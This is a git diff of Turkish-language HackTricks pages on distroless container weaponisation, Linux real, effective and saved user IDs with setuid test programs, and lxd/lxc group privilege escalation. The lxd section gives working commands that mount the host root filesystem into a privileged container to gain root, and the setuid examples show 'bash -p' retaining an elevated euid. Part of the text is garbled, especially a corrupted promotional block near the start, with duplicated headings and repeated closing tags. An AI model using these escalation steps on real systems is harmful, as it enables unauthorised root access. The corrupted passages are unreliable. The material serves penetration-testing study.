Distroless bir konteyneri silahlandırmanın amacı, **sistem üzerindeki yaygın ikili dosyaların eksikliği** ve ayrıca **/dev/shm** içindeki **salt okunur** veya **çalıştırılamaz** gibi korumalarla sınırlamalara rağmen **rastgele ikili dosyaları ve yükleri çalıştırabilmektir**.
### Bellek Aracılığıyla
### Bellek Üzerinden
2023'ün bir noktasında gelecek...
### Varolan ikili dosyalar aracılığıyla
### Mevcut ikili dosyalar aracılığıyla
#### openssl
Bu [**gönderide**](https://www.form3.tech/engineering/content/exploiting-distroless-images) belirtildiği gibi, **`openssl`** ikili dosyası bu konteynerlerde sık sık bulunur, muhtemelen konteyner içinde çalışacak yazılım tarafından **gereklidir**.
****[**Bu yazıda,**](https://www.form3.tech/engineering/content/exploiting-distroless-images) **`openssl`** ikilisinin bu konteynerlerde sıkça bulunduğu, muhtemelen konteyner içinde çalışacak yazılım tarafından **gerekli** olduğu açıklanmaktadır.
{% hnt stye="acceas" %}
AWS Ha& practice ckinH:<img :<imgsscc="/.gitb=ok/assgts/aite.png"balo=""kdata-siza="line">[**HackTsscke Tpaigin"aAWS Red Tetm=Exp rt (ARTE)**](a-size="line">[**HackTricks Training AWS Red)ethgasic="..giyb/okseasert/k/.png"l=""data-ize="line">\
Öğrenin & GCP uygulamaları<imgsrc="/.gibok/asts/gte.g"lt="" aa-iz="le">[**angGC RedTamExper(GE)<img rc=".okaetgte.ng"salm=""adara-siz>="k>ne">tinhaktckxyzurssgr)
**`openssl`** ikili dosyasının kötüye kullanılmasıyla keyfi işler **yürütülebilir**.
<dtil>
<ummr>SupportHackTricks</smmay>
*Chek th [**subsrippangithub.cm/sorsarlosp!
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!haktick\_ive\
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi takip edin** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,72 +1,75 @@
# euid, ruid, suid
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin<strong>!</strong></summary>
<summary>Support HackTricks</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını yapmak** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuz olan özel [**NFT'lerimizi**](https://opensea.io/collection/the-peass-family) keşfedin
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### Kullanıcı Kimlik Değişkenleri
### Kullanıcı Tanımlama Değişkenleri
- **`ruid`**: **Gerçek kullanıcı kimliği** işlemi başlatan kullanıcıyı belirtir.
- **`euid`**: **Etkili kullanıcı kimliği** olarak bilinen, sistem tarafından işlem ayrıcalıklarını belirlemek için kullanılan kullanıcı kimliğini temsil eder. Genellikle, `euid` SetUID ikili yürütmesi gibi durumlar dışında, `euid` dosya sahibinin kimliğini alır ve belirli işletimsel izinler sağlar.
- **`suid`**: Bu **kaydedilmiş kullanıcı kimliği**, geçici olarak ayrıcalıklarını bırakması gereken yüksek ayrıcalıklı bir işlem (genellikle root olarak çalışan) için önemlidir, ancak daha sonra başlangıçta yükseltilmiş durumunu geri alır.
- **`ruid`**: **gerçek kullanıcı kimliği**, süreci başlatan kullanıcıyı belirtir.
- **`euid`**: **etkili kullanıcı kimliği** olarak bilinir, sistemin süreç ayrıcalıklarını belirlemek için kullandığı kullanıcı kimliğini temsil eder. Genel olarak, `euid` `ruid` ile aynıdır, SetUID ikili yürütmesi gibi durumlar dışında, burada `euid` dosya sahibinin kimliğini alır ve böylece belirli operasyonel izinler verir.
- **`suid`**: Bu **kaydedilmiş kullanıcı kimliği**, yüksek ayrıcalıklı bir sürecin (genellikle root olarak çalışan) belirli görevleri yerine getirmek için geçici olarak ayrıcalıklarını bırakması gerektiğinde kritik öneme sahiptir, daha sonra başlangıçtaki yükseltilmiş durumunu geri alır.
#### Önemli Not
Kök altında çalışmayan bir işlem, yalnızca `euid`'yi mevcut `ruid`, `euid` veya `suid` ile eşleştirebilir.
Root altında çalışmayan bir süreç yalnızca `euid`'sini mevcut `ruid`, `euid` veya `suid` ile eşleştirebilir.
### set*uid Fonksiyonlarının Anlaşılması
### set*uid Fonksiyonlarını Anlamak
- **`setuid`**: İlk varsayımların aksine, `setuid` öncelikle `ruid`'yi değiştirir, `euid`'yi değil. Özellikle ayrıcalıklı işlemler için, belirtilen kullanıcıyla (`root` gibi) `ruid`, `euid` ve `suid`'yi hizalar, bu nedenle bu kimlikleri geçersiz kılarak etkinleştirir. Ayrıntılı bilgilere [setuid man sayfasında](https://man7.org/linux/man-pages/man2/setuid.2.html) ulaşılabilir.
- **`setreuid`** ve **`setresuid`**: Bu fonksiyonlar, `ruid`, `euid` ve `suid`'yi ince ayar yapmanıza olanak tanır. Ancak, yetki düzeyine bağlı olarak yetenekleri sınırlıdır. Kök olmayan işlemler için değişiklikler, `ruid`, `euid` ve `suid`'nin mevcut değerleriyle sınırlıdır. Buna karşılık, kök işlemleri veya `CAP_SETUID` yeteneğine sahip olanlar bu kimliklere keyfi değerler atayabilir. Daha fazla bilgi, [setresuid man sayfasında](https://man7.org/linux/man-pages/man2/setresuid.2.html) ve [setreuid man sayfasında](https://man7.org/linux/man-pages/man2/setreuid.2.html) bulunabilir.
- **`setuid`**: İlk varsayımların aksine, `setuid` esasen `ruid` yerine `euid`'yi değiştirir. Özellikle ayrıcalıklı süreçler için, `ruid`, `euid` ve `suid`'yi belirtilen kullanıcı ile, genellikle root ile eşleştirir, bu da bu kimlikleri `suid`'nin geçersiz kılması nedeniyle sağlamlaştırır. Ayrıntılı bilgiler [setuid man sayfasında](https://man7.org/linux/man-pages/man2/setuid.2.html) bulunabilir.
- **`setreuid`** ve **`setresuid`**: Bu fonksiyonlar `ruid`, `euid` ve `suid`'nin ince ayarını yapmaya olanak tanır. Ancak, yetenekleri sürecin ayrıcalık seviyesine bağlıdır. Root olmayan süreçler için değişiklikler mevcut `ruid`, `euid` ve `suid` değerleri ile sınırlıdır. Buna karşılık, root süreçleri veya `CAP_SETUID` yeteneğine sahip olanlar bu kimliklere keyfi değerler atayabilir. Daha fazla bilgi [setresuid man sayfasında](https://man7.org/linux/man-pages/man2/setresuid.2.html) ve [setreuid man sayfasında](https://man7.org/linux/man-pages/man2/setreuid.2.html) bulunabilir.
Bu işlevler, bir güvenlik mekanizması olarak değil, bir programın etkin kullanıcı kimliğini değiştirerek başka bir kullanıcının kimliğini benimsemesini kolaylaştırmak için tasarlanmıştır.
Bu işlevler, bir güvenlik mekanizması olarak değil, bir programın etkili kullanıcı kimliğini değiştirerek başka bir kullanıcının kimliğini benimsemesi gibi istenen operasyonel akışı kolaylaştırmak için tasarlanmıştır.
Özellikle, `setuid`, kök ayrıcalığına yükseltme için yaygın bir seçenek olabilir (çünkü tüm kimlikleri köke hizalar), ancak bu işlevler arasındaki farkı ayırt etmek, farklı senaryolarda kullanıcı kimliği davranışlarını anlamak ve manipüle etmek için önemlidir.
Özellikle, `setuid` root'a ayrıcalık yükseltmek için yaygın bir yöntem olabilir (çünkü tüm kimlikleri root ile eşleştirir), ancak bu fonksiyonlar arasındaki farkları ayırt etmek, farklı senaryolarda kullanıcı kimliği davranışlarını anlamak ve manipüle etmek için kritik öneme sahiptir.
### Linux'ta Program Yürütme Mekanizmaları
#### **`execve` Sistem Çağrısı**
- **İşlevsellik**: `execve`, ilk argüman tarafından belirlenen bir programı başlatır. İki dizi argüman alır, argümanlar için `argv` ve çevre için `envp`.
- **Davranış**: Çağıranın bellek alanını korur, ancak yığın, heap ve veri segmentlerini yeniler. Programın kodu, yeni program tarafından değiştirilir.
- **Fonksiyon**: `execve`, ilk argümanla belirlenen bir programı başlatır. İki dizi argümanı alır, `argv` argümanlar için ve `envp` ortam için.
- **Davranış**: Çağıranın bellek alanını korur ancak yığın, yığın ve veri segmentlerini yeniler. Programın kodu yeni programla değiştirilir.
- **Kullanıcı Kimliği Koruma**:
- `ruid`, `euid` ve ek grup kimlikleri değiştirilmez.
- Yeni programın SetUID bitine sahip olması durumunda, `euid`'de ince değişiklikler olabilir.
- `suid`, yürütmeden sonra `euid`'den güncellenir.
- **Belgeleme**: Ayrıntılı bilgilere [`execve` man sayfasında](https://man7.org/linux/man-pages/man2/execve.2.html) ulaşılabilir.
- `ruid`, `euid` ve ek grup kimlikleri değişmeden kalır.
- Yeni programın SetUID biti ayarlanmışsa `euid`'de ince değişiklikler olabilir.
- `suid`, yürütme sonrası `euid`'den güncellenir.
- **Dokümantasyon**: Ayrıntılı bilgi [`execve` man sayfasında](https://man7.org/linux/man-pages/man2/execve.2.html) bulunabilir.
#### **`system` İşlevi**
- **İşlevsellik**: `execve`'den farklı olarak, `system` bir çocuk işlem oluşturur ve bu çocuk işlemde `fork` kullanarak bir komutu yürütür.
- **Komut Yürütme**: Komutu `sh` ile `execl("/bin/sh", "sh", "-c", komut, (char *) NULL);` kullanarak yürütür.
- **Davranış**: `execl`, `execve`'nin bir formu olduğu için benzer şekilde çalışır, ancak yeni bir çocuk işlem bağlamında çalışır.
- **Belgeleme**: Daha fazla bilgi [`system` man sayfasında](https://man7.org/linux/man-pages/man3/system.3.html) bulunabilir.
#### **`system` Fonksiyonu**
- **Fonksiyon**: `execve`'nin aksine, `system` bir çocuk süreç oluşturur ve bu çocuk süreç içinde bir komutu `execl` kullanarak yürütür.
- **Komut Yürütme**: Komutu `sh` aracılığıyla `execl("/bin/sh", "sh", "-c", command, (char *) NULL);` ile yürütür.
- **Davranış**: `execl`, `execve`'nin bir biçimi olduğundan benzer şekilde çalışır ancak yeni bir çocuk süreç bağlamında.
- **Dokümantasyon**: Daha fazla bilgi [`system` man sayfasında](https://man7.org/linux/man-pages/man3/system.3.html) bulunabilir.
#### **SUID ile `bash` ve `sh` Davranışı**
- **`bash`**:
- `euid` ve `ruid`'nin nasıl işlendiğini etkileyen `-p` seçeneğine sahiptir.
- `-p` olmadan, `bash`, başlangıçta farklılarsa `euid`'yi `ruid`'ye ayarlar.
- `euid` ve `ruid`'nin nasıl ele alındığını etkileyen bir `-p` seçeneğine sahiptir.
- `-p` olmadan, `bash` `euid`'yi `ruid` ile eşleştirir eğer başlangıçta farklılarsa.
- `-p` ile, başlangıçtaki `euid` korunur.
- Daha fazla ayrıntı [`bash` man sayfasında](https://linux.die.net/man/1/bash) bulunabilir.
- **`sh`**:
- `bash`'deki `-p` ile benzer bir mekanizmaya sahip değildir.
- Kullanıcı kimlikleriyle ilgili davranış açıkça belirtilmemiştir, `-i` seçeneği altında `euid` ve `ruid`'nin eşitliğinin korunmasına vurgu yapılır.
- Ek bilgiler [`sh` man sayfasında](https://man7.org/linux/man-pages/man1/sh.1p.html) bulunabilir.
- `bash`'deki `-p` benzeri bir mekanizmaya sahip değildir.
- Kullanıcı kimlikleri ile ilgili davranış açıkça belirtilmemiştir, yalnızca `-i` seçeneği altında `euid` ve `ruid` eşitliğinin korunmasına vurgu yapılmaktadır.
- Ek bilgi [`sh` man sayfasında](https://man7.org/linux/man-pages/man1/sh.1p.html) bulunabilir.
Bu işlemler, işleyişlerinde farklılık gösteren, programların yürütülmesi ve geçiş yapılması için çeşitli seçenekler sunan ve kullanıcı kimliklerinin nasıl yönetildiği ve korunduğu konusunda belirli nüanslara sahip olan mekanizmalardır.
Bu mekanizmalar, kullanıcı kimliklerinin nasıl yönetildiği ve korunduğu konusunda belirli nüanslarla programları yürütmek ve geçiş yapmak için çeşitli seçenekler sunar.
### Yürütme Sırasında Kullanıcı Kimliği Davranışlarını Test Etme
### Yürütmelerde Kullanıcı Kimliği Davranışlarını Test Etme
Daha fazla bilgi için https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail adresinden alınan örnekleri kontrol edin
Örnekler https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail adresinden alınmıştır, daha fazla bilgi için kontrol edin.
#### Durum 1: `setuid` ile `system` kullanımı
#### Durum 1: `setuid` ile `system` Kullanımı
**Amaç**: `setuid`'in `system` ve `bash` olarak `sh` ile birlikte kullanımının etkisini anlamak.
**Amaç**: `setuid`'nin `system` ve `bash` ile `sh` kombinasyonundaki etkisini anlamak.
**C Kodu**:
```c
@ -81,30 +84,6 @@ return 0;
}
```
**Derleme ve İzinler:**
When a program is compiled, it is assigned certain permissions based on the user who compiled it. These permissions determine the level of access the program has to system resources. There are three types of permissions that can be assigned to a program: the effective user ID (euid), the real user ID (ruid), and the saved user ID (suid).
Bir program derlendiğinde, derleyen kullanıcıya bağlı olarak belirli izinler atanır. Bu izinler, programın sistem kaynaklarına erişim düzeyini belirler. Bir programa atanan üç tür izin vardır: etkili kullanıcı kimliği (euid), gerçek kullanıcı kimliği (ruid) ve kaydedilmiş kullanıcı kimliği (suid).
The euid is the user ID that the program will use when accessing system resources. It is set to the ruid by default, but it can be changed using the setuid() system call. This allows a program to temporarily elevate its privileges to perform certain tasks that require higher permissions.
Euid, programın sistem kaynaklarına erişirken kullanacağı kullanıcı kimliğidir. Varsayılan olarak ruid'ye ayarlanır, ancak setuid() sistem çağrısı kullanılarak değiştirilebilir. Bu, bir programın geçici olarak ayrıcalıklarını yükseltmesine ve daha yüksek izinlere ihtiyaç duyan belirli görevleri gerçekleştirmesine olanak tanır.
The ruid is the user ID of the user who executed the program. It remains constant throughout the execution of the program and is used for permission checks.
Ruid, programı çalıştıran kullanıcının kullanıcı kimliğidir. Programın yürütülmesi boyunca sabit kalır ve izin kontrolleri için kullanılır.
The suid is the user ID that the program will use when it is executed with elevated privileges. It is set to the euid by default, but it can be changed using the setuid() system call. This allows a program to permanently elevate its privileges, even when executed by a different user.
Suid, programın yükseltilmiş ayrıcalıklarla çalıştırıldığında kullanacağı kullanıcı kimliğidir. Varsayılan olarak euid'ye ayarlanır, ancak setuid() sistem çağrısı kullanılarak değiştirilebilir. Bu, bir programın ayrıcalıklarını kalıcı olarak yükseltmesine olanak tanır, hatta farklı bir kullanıcı tarafından çalıştırıldığında bile.
```bash
oxdf@hacky$ gcc a.c -o /mnt/nfsshare/a;
oxdf@hacky$ chmod 4755 /mnt/nfsshare/a
@ -116,12 +95,12 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**Analiz:**
* `ruid` ve `euid` başlangıçta sırasıyla 99 (nobody) ve 1000 (frank) olarak başlar.
* `setuid` her ikisini de 1000'e ayarlar.
* `system`, sh'den bash'e olan sembolik bağlantı nedeniyle `/bin/bash -c id` komutunu çalıştırır.
* `-p` olmadan `bash`, `euid`'yi `ruid` ile eşleştirmek için ayarlar ve sonuç olarak her ikisi de 99 (nobody) olur.
* `ruid` ve `euid` başlangıçta sırasıyla 99 (nobody) ve 1000 (frank) olarak ayarlanır.
* `setuid` her ikisini de 1000'e hizalar.
* `system`, sh'den bash'e olan symlink nedeniyle `/bin/bash -c id` komutunu çalıştırır.
* `bash`, `-p` olmadan, `euid`'yi `ruid` ile eşleştirir, bu da her ikisinin de 99 (nobody) olmasına neden olur.
#### Durum 2: setreuid ile system Kullanımı
#### Durum 2: system ile setreuid kullanma
**C Kodu**:
```c
@ -136,42 +115,18 @@ return 0;
}
```
**Derleme ve İzinler:**
When a program is compiled, it is assigned certain permissions based on the user who compiled it. These permissions determine the level of access the program has to system resources. There are three types of permissions that can be assigned to a program: the effective user ID (euid), the real user ID (ruid), and the saved user ID (suid).
Bir program derlendiğinde, derleyen kullanıcıya bağlı olarak belirli izinler atanır. Bu izinler, programın sistem kaynaklarına erişim düzeyini belirler. Bir programa atanan üç tür izin vardır: etkili kullanıcı kimliği (euid), gerçek kullanıcı kimliği (ruid) ve kaydedilmiş kullanıcı kimliği (suid).
The euid is the user ID that the program will use when accessing system resources. It is set to the ruid by default, but it can be changed using the setuid() system call. This allows a program to temporarily elevate its privileges to perform certain tasks that require higher permissions.
Euid, programın sistem kaynaklarına erişirken kullanacağı kullanıcı kimliğidir. Varsayılan olarak ruid olarak ayarlanır, ancak setuid() sistem çağrısı kullanılarak değiştirilebilir. Bu, bir programın geçici olarak ayrıcalıklarını yükseltmesine ve daha yüksek izinlere ihtiyaç duyan belirli görevleri gerçekleştirmesine olanak tanır.
The ruid is the user ID of the user who executed the program. It remains constant throughout the execution of the program and is used for permission checks.
Ruid, programı çalıştıran kullanıcının kullanıcı kimliğidir. Programın yürütülmesi boyunca sabit kalır ve izin kontrolleri için kullanılır.
The suid is the user ID that the program will use when it is executed with elevated privileges. It is set to the euid by default, but it can also be changed using the setuid() system call. This allows a program to permanently run with elevated privileges, even if it is executed by a user with lower permissions.
Suid, programın yükseltilmiş ayrıcalıklarla çalıştırıldığında kullanacağı kullanıcı kimliğidir. Varsayılan olarak euid olarak ayarlanır, ancak setuid() sistem çağrısı kullanılarak da değiştirilebilir. Bu, bir programın, daha düşük izinlere sahip bir kullanıcı tarafından çalıştırılsa bile kalıcı olarak yükseltilmiş ayrıcalıklarla çalışmasına olanak tanır.
```bash
oxdf@hacky$ gcc b.c -o /mnt/nfsshare/b; chmod 4755 /mnt/nfsshare/b
```
**Yürütme ve Sonuç:**
**İcra ve Sonuç:**
```bash
bash-4.2$ $ ./b
uid=1000(frank) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
**Analiz:**
* `setreuid`, ruid ve euid'yi 1000 olarak ayarlar.
* `system`, eşitlikleri nedeniyle kullanıcı kimliklerini koruyan bash'i çağırır ve etkili bir şekilde frank olarak çalışır.
* `setreuid`, hem ruid hem de euid'yi 1000 olarak ayarlar.
* `system`, kullanıcı kimliklerinin eşitliği nedeniyle bash'i çağırır ve bu da frank olarak etkili bir şekilde çalışır.
#### Durum 3: execve ile setuid kullanma
Amaç: setuid ve execve arasındaki etkileşimi keşfetmek.
@ -186,16 +141,16 @@ execve("/usr/bin/id", NULL, NULL);
return 0;
}
```
**Yürütme ve Sonuç:**
**İcra ve Sonuç:**
```bash
bash-4.2$ $ ./c
uid=99(nobody) gid=99(nobody) euid=1000(frank) groups=99(nobody) context=system_u:system_r:unconfined_service_t:s0
```
**Analiz:**
* `ruid` 99 olarak kalırken, euid 1000 olarak ayarlanır, setuid'in etkisiyle uyumludur.
* `ruid` 99 olarak kalır, ancak euid 1000 olarak ayarlanır, setuid'nin etkisiyle uyumlu olarak.
**C Kodu Örneği 2 (Bash Çağırma):**
**C Kod Örneği 2 (Bash Çağrısı):**
```bash
#define _GNU_SOURCE
#include <stdlib.h>
@ -207,7 +162,7 @@ execve("/bin/bash", NULL, NULL);
return 0;
}
```
**Yürütme ve Sonuç:**
**İcra ve Sonuç:**
```bash
bash-4.2$ $ ./d
bash-4.2$ $ id
@ -215,7 +170,7 @@ uid=99(nobody) gid=99(nobody) groups=99(nobody) context=system_u:system_r:unconf
```
**Analiz:**
* `euid` 1000'e `setuid` tarafından ayarlanmasına rağmen, `-p` olmaması nedeniyle `bash`, `ruid` (99) olarak `euid`'yi sıfırlar.
* `euid` 1000 olarak `setuid` ile ayarlanmış olmasına rağmen, `bash` `-p` eksikliği nedeniyle `euid`'yi `ruid` (99) olarak sıfırlar.
**C Kodu Örneği 3 (bash -p Kullanarak):**
```bash
@ -230,7 +185,7 @@ execve(paramList[0], paramList, NULL);
return 0;
}
```
**Yürütme ve Sonuç:**
**İcra ve Sonuç:**
```bash
bash-4.2$ $ ./e
bash-4.2$ $ id
@ -240,14 +195,17 @@ uid=99(nobody) gid=99(nobody) euid=100
* [https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail](https://0xdf.gitlab.io/2022/05/31/setuid-rabbithole.html#testing-on-jail)
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme konusunda sıfırdan kahramana kadar öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde mi çalışıyorsunuz**? **Şirketinizi HackTricks'te reklamınızı görmek ister misiniz**? veya **PEASS'ın en son sürümüne erişmek veya HackTricks'i PDF olarak indirmek ister misiniz**? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini alın**](https://peass.creator-spring.com)
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter'da** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo'ya](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo'ya](https://github.com/carlospolop/hacktricks-cloud) PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}

View file

@ -1,26 +1,51 @@
# lxd/lxc Grubu - Ayrıcalık yükseltme
# lxd/lxc Grubu - Yetki Yükseltme
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hacklemeyi sıfırdan kahraman olmak için öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'i desteklemenin diğer yolları:
* Şirketinizi HackTricks'te **reklamınızı görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'ı takip edin**.
* **Hacking hilelerinizi** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına **PR göndererek paylaşın**.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
Eğer _**lxd**_ **veya** _**lxc**_ **grubuna** ait iseniz, kök kullanıcı olabilirsiniz.
_eğer_ **lxd** _veya_ **lxc** _grubuna ait iseniz, root olabilirsiniz_
## İnternet olmadan sömürme
## İnternetsiz Sömürü
### Yöntem 1
Bu dağıtım oluşturucuyu makinenize kurabilirsiniz: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(github'daki talimatları takip edin):
Bu dağıtım oluşturucusunu makinenize kurabilirsiniz: [https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)(github talimatlarını takip edin):
```bash
sudo su
#Install requirements
@ -38,7 +63,7 @@ wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
```
Dosyaları **lxd.tar.xz** ve **rootfs.squashfs** olarak yükleyin, görüntüyü depoya ekleyin ve bir konteyner oluşturun:
Dosyaları **lxd.tar.xz** ve **rootfs.squashfs** yükleyin, resmi depoya ekleyin ve bir konteyner oluşturun:
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
@ -54,11 +79,11 @@ lxc list
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
{% hint style="danger" %}
Eğer bu hatayı bulursanız _**Hata: Depolama havuzu bulunamadı. Lütfen yeni bir depolama havuzu oluşturun**_\
**`lxd init`** komutunu çalıştırın ve önceki komut parçacığını **tekrarlayın**
Eğer bu hatayı bulursanız _**Hata: Depo havuzu bulunamadı. Lütfen yeni bir depo havuzu oluşturun**_\
**`lxd init`** komutunu çalıştırın ve **önceki** komut grubunu **tekrarlayın**
{% endhint %}
Son olarak, konteyneri çalıştırabilir ve root erişimi elde edebilirsiniz:
Sonunda konteyneri çalıştırabilir ve root alabilirsiniz:
```bash
lxc start privesc
lxc exec privesc /bin/sh
@ -66,7 +91,7 @@ lxc exec privesc /bin/sh
```
### Yöntem 2
Bir Alpine imajı oluşturun ve `security.privileged=true` bayrağını kullanarak başlatın, böylece konteynerin ana dosya sistemiyle kök olarak etkileşimde bulunması zorlanır.
Bir Alpine imajı oluşturun ve `security.privileged=true` bayrağını kullanarak başlatın, böylece konteynerin ana dosya sistemi ile root olarak etkileşimde bulunmasını zorlayın.
```bash
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
@ -86,37 +111,65 @@ lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh
```
Alternatif olarak [https://github.com/initstring/lxd\_root](https://github.com/initstring/lxd\_root)
## İnternet ile
[Şu talimatları](https://reboare.github.io/lxd/lxd-escape.html) takip edebilirsiniz.
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
